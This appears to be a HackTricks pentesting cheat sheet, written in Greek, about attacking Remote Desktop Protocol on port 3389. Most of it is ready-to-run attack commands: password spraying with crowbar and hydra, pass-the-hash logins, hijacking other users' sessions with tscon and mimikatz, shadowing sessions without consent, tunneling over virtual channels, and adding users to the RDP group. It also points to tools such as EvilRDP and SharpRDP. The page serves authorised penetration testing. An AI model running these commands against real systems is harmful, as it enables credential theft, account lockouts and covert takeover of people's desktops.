3389 - Pentesting RDP

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks

Βασικές Πληροφορίες

Αναπτυγμένο από τη Microsoft, το Remote Desktop Protocol (RDP) έχει σχεδιαστεί για να επιτρέπει μια σύνδεση με γραφικό περιβάλλον μεταξύ υπολογιστών μέσω δικτύου. Για να δημιουργηθεί τέτοια σύνδεση, ο χρήστης χρησιμοποιεί λογισμικό client RDP, ενώ ο απομακρυσμένος υπολογιστής πρέπει να εκτελεί λογισμικό server RDP. Αυτή η διαμόρφωση επιτρέπει τον απρόσκοπτο έλεγχο και πρόσβαση στο desktop περιβάλλον ενός απομακρυσμένου υπολογιστή, ουσιαστικά φέρνοντας το περιβάλλον εργασίας του στη συσκευή του χρήστη.

Default port: 3389

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Καταγραφή

Αυτόματη

nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>

Ελέγχει τη διαθέσιμη κρυπτογράφηση και την ευπάθεια σε DoS (χωρίς να προκαλεί DoS στην υπηρεσία) και ανακτά πληροφορίες NTLM Windows (εκδόσεις).

Security Layer / NLA Checks

Το RDP μπορεί να διαπραγματευτεί διαφορετικά επίπεδα ασφάλειας (native RDP, TLS, ή CredSSP/NLA). Μπορείτε γρήγορα να αποτυπώσετε τις ρυθμίσεις από την πλευρά του server και κατά πόσο απαιτείται NLA:

# Security layer and encryption info
nmap --script rdp-enum-encryption -p 3389 <IP>

# Quick auth check (also reports if NLA is required)
nxc rdp <IP> -u <user> -p <password>

# Pre-auth screenshot only works if NLA is disabled
nxc rdp <IP> --nla-screenshot

# Authenticated screenshot after valid login
nxc rdp <IP> -u <user> -p <password> --screenshot

Brute force

Να είστε προσεκτικοί — μπορεί να κλειδωθούν λογαριασμοί

Password Spraying

Να είστε προσεκτικοί — μπορεί να κλειδωθούν λογαριασμοί

# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Συνδεθείτε με γνωστά credentials/hash

rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash

Έλεγχος γνωστών διαπιστευτηρίων σε υπηρεσίες RDP

Το rdp_check.py του impacket σας επιτρέπει να ελέγξετε αν κάποια διαπιστευτήρια είναι έγκυρα για μια υπηρεσία RDP:

rdp_check <domain>/<name>:<password>@<IP>

Επιθέσεις

Session stealing

Με SYSTEM permissions μπορείτε να αποκτήσετε πρόσβαση σε οποιαδήποτε opened RDP session by any user χωρίς να χρειάζεται να γνωρίζετε τον κωδικό του ιδιοκτήτη.

Get openned sessions:

query user

Πρόσβαση στην επιλεγμένη συνεδρία

tscon <ID> /dest:<SESSIONNAME>

Τώρα θα βρεθείς μέσα στην επιλεγμένη RDP συνεδρία και θα πρέπει να προσποιηθείς έναν χρήστη χρησιμοποιώντας μόνο εργαλεία και λειτουργίες των Windows.

Σημαντικό: Όταν αποκτάς πρόσβαση σε μια ενεργή RDP συνεδρία, θα αποσυνδέσεις τον χρήστη που τη χρησιμοποιούσε.

Μπορείς να πάρεις κωδικούς από dump της διεργασίας, αλλά αυτή η μέθοδος είναι πολύ πιο γρήγορη και σε αφήνει να αλληλεπιδράσεις με τα virtual desktops του χρήστη (κωδικοί σε notepad χωρίς να έχουν αποθηκευτεί στο δίσκο, άλλες RDP συνεδρίες ανοιχτές σε άλλα μηχανήματα…)

Mimikatz

Μπορείς επίσης να χρησιμοποιήσεις mimikatz για αυτό:

ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session

RDP Shadowing (Remote Control)

Εάν το Remote Desktop Services shadowing είναι ενεργοποιημένο, μπορείτε να δείτε ή να ελέγξετε την ενεργή συνεδρία άλλου χρήστη (μερικές φορές χωρίς τη συναίνεση) χρησιμοποιώντας τις ενσωματωμένες παραμέτρους του mstsc.

# List sessions on a remote host
qwinsta /server:<IP>
quser /server:<IP>

# Shadow a specific session (consent required if policy enforces it)
mstsc /v:<IP> /shadow:<SESSION_ID> /control

# Shadow without consent if policy allows it
mstsc /v:<IP> /shadow:<SESSION_ID> /noconsentprompt /prompt

# Check current shadowing policy on the target
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

RDP Tunneling μέσω εικονικών καναλιών

Το RDP υποστηρίζει εικονικά κανάλια που μπορούν να αξιοποιηθούν για pivoting/tunneling σε μια υπάρχουσα συνεδρία RDP. Μια επιλογή είναι rdp2tcp (client/server) που μπορεί να πολυπλέξει TCP forwards πάνω από RDP (λειτουργεί με FreeRDP).

# Start FreeRDP with rdp2tcp virtual channel
xfreerdp /u:<user> /v:<IP> /rdp2tcp:/path/to/rdp2tcp/client/rdp2tcp

Tunneling and Port Forwarding

Sticky-keys & Utilman

Συνδυάζοντας αυτή την τεχνική με stickykeys ή utilman θα μπορείτε να αποκτήσετε πρόσβαση σε ένα διοικητικό CMD και σε οποιαδήποτε RDP συνεδρία οποτεδήποτε

Μπορείτε να αναζητήσετε RDPs που έχουν ήδη backdoored με μία από αυτές τις τεχνικές στο: https://github.com/linuz/Sticky-Keys-Slayer

RDP Process Injection

Εάν κάποιος από διαφορετικό domain ή με σύνδεση με καλύτερα προνόμια μέσω RDP στον υπολογιστή όπου είστε Admin, μπορείτε να inject το beacon σας στην RDP session process του και να ενεργήσετε ως αυτός:

RDP Sessions Abuse

Προσθήκη χρήστη στην ομάδα RDP

net localgroup "Remote Desktop Users" UserLoginName /add

Αυτόματα Εργαλεία

AutoRDPwn είναι ένα post-exploitation framework γραμμένο σε PowerShell, σχεδιασμένο κυρίως για την αυτοματοποίηση της επίθεσης Shadow σε υπολογιστές Microsoft Windows. Αυτή η ευπάθεια (αναφερόμενη από τη Microsoft ως λειτουργία) επιτρέπει σε έναν απομακρυσμένο εισβολέα να προβάλει την επιφάνεια εργασίας του θύματος χωρίς τη συγκατάθεσή του, και ακόμη να την ελέγχει κατά βούληση, χρησιμοποιώντας εργαλεία εγγενή στο ίδιο το λειτουργικό σύστημα.

  • EvilRDP

  • Έλεγχος του ποντικιού και του πληκτρολογίου με αυτοματοποιημένο τρόπο από τη γραμμή εντολών

  • Έλεγχος του πρόχειρου (clipboard) με αυτοματοποιημένο τρόπο από τη γραμμή εντολών

  • Ανάπτυξη SOCKS proxy από τον client που διοχετεύει την δικτυακή κίνηση προς τον στόχο μέσω RDP

  • Εκτέλεση αυθαίρετων εντολών SHELL και PowerShell στον στόχο χωρίς μεταφόρτωση αρχείων

  • Αποστολή και λήψη αρχείων προς/από τον στόχο ακόμα και όταν οι μεταφορές αρχείων είναι απενεργοποιημένες στον στόχο

  • SharpRDP

Αυτό το εργαλείο επιτρέπει την εκτέλεση εντολών στο RDP του θύματος χωρίς να απαιτείται γραφικό περιβάλλον.

Αυτόματες Εντολές HackTricks

Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html

Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}

Αναφορές

Tip

Μάθε & εξασκήσου στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).

Υποστήριξε το HackTricks